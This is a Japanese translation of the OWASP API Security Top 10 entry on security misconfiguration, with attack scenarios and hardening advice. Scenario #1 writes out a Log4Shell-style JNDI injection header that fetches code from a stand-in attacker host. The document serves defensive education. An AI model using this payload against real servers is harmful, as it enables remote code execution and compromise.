Skip to content

API8:2023 セキュリティ設定の不備(Security Misconfiguration)

Threat agents / Attack vectors(脅威エージェント/攻撃ベクター) Security Weakness(セキュリティの弱点) Impacts(影響)
API 固有:悪用難易度(Exploitability) 容易

攻撃者は、未適用のパッチ、ありふれたエンドポイント、安全でないデフォルト設定 で動作するサービス、保護されていないファイル/ディレクトリを探して、不正アクセス やシステム知識の入手を試みる。多くは公知で、エクスプロイトが流通 していることも多い。
蔓延度(Prevalence) 広範検出可能性(Detectability) 容易

セキュリティ設定の不備は ネットワーク層からアプリ層まで API スタックのあらゆる層で起こりうる。不要なサービスレガシー設定 といったミスコンフィグを 検出・悪用 できる自動化ツールが存在する。
技術的影響(Technical) 重大ビジネス影響(Business) ケース依存

設定不備は 機微なユーザーデータ だけでなく、サーバ乗っ取り に至るシステム詳細の露出を招く。

API は脆弱か?

次のいずれかに当てはまる場合、API は脆弱である可能性があります:

  • API スタックのどこかで 適切なハードニング が不足している、または クラウドサービスの権限設定 が不適切
  • 最新パッチが未適用、あるいは システムが古い
  • 不要な機能(例:不要な HTTP 動詞、過剰なロギング機能)が有効
  • HTTP サーバチェーン内のサーバ(LB/プロキシ/バックエンド)で リクエスト処理の不一致 がある
  • TLS が未導入
  • セキュリティ/キャッシュ制御ヘッダ をクライアントへ送っていない
  • CORS ポリシー が欠如、または不適切
  • スタックトレース を含むエラーメッセージなど、機微情報を露出

攻撃シナリオ例

シナリオ #1

ある API バックエンドサーバは、人気の OSS ログユーティリティでアクセスログを出力している。プレースホルダ展開JNDI 参照 がデフォルトで有効。各リクエストは <method> <api_version>/<path> - <status_code> 形式で記録される。

攻撃者が次の API リクエストを送ると、内容がアクセスログに書き込まれる:

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

ログユーティリティの 安全でないデフォルト設定送信トラフィックの緩い許可 により、X-Api-Version の値を展開する過程で、ユーティリティは攻撃者のサーバから Malicious.class取得して実行 してしまう。

シナリオ #2

ある SNS は ダイレクトメッセージ 機能を提供し、特定の会話の新着を取得するために次の API を(ユーザー操作なしで)呼び出す:

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

API 応答に Cache-Control ヘッダが含まれない ため、プライベートな会話 がブラウザにキャッシュされ、ファイルシステム上のキャッシュから閲覧 され得る。

防止方法(How To Prevent)

API ライフサイクルには次を含めるべきです:

  • 再現可能なハードニングプロセス:堅牢化された環境を 迅速・容易にデプロイ できること
  • API スタック全体の設定レビューと更新:オーケストレーション定義、API コンポーネント、クラウドサービス(例:S3 バケット権限)を対象に含める
  • 自動化された継続評価:すべての環境で設定・ポリシーの有効性を継続的に評価する仕組み

さらに:

  • クライアントから API サーバ、そして上下流コンポーネントまで、全通信を暗号化(TLS) する(内部 API であっても例外なし)。
  • 各 API が許可する HTTP 動詞を明示 し、その他(例:HEAD)は 無効化 する。
  • ブラウザクライアントからのアクセスを想定する API(例:Web フロントエンドが呼ぶ API)は少なくとも:

  • 適切な CORS ポリシー を実装

  • 該当する セキュリティヘッダ を付与

  • 受け入れる コンテンツタイプ/データ形式 を業務・機能要件に限定する。

  • HTTP サーバチェーンのすべてのサーバ(LB/リバース・フォワードプロキシ/バックエンド)が、一貫した方法 でリクエストを処理するようにし、デシンク問題 を回避する。
  • 必要に応じ、すべての API レスポンスのスキーマ(エラーレスポンスを含む)を定義し強制して、例外トレース や攻撃者に有用な情報の送出を防ぐ。

References

OWASP

External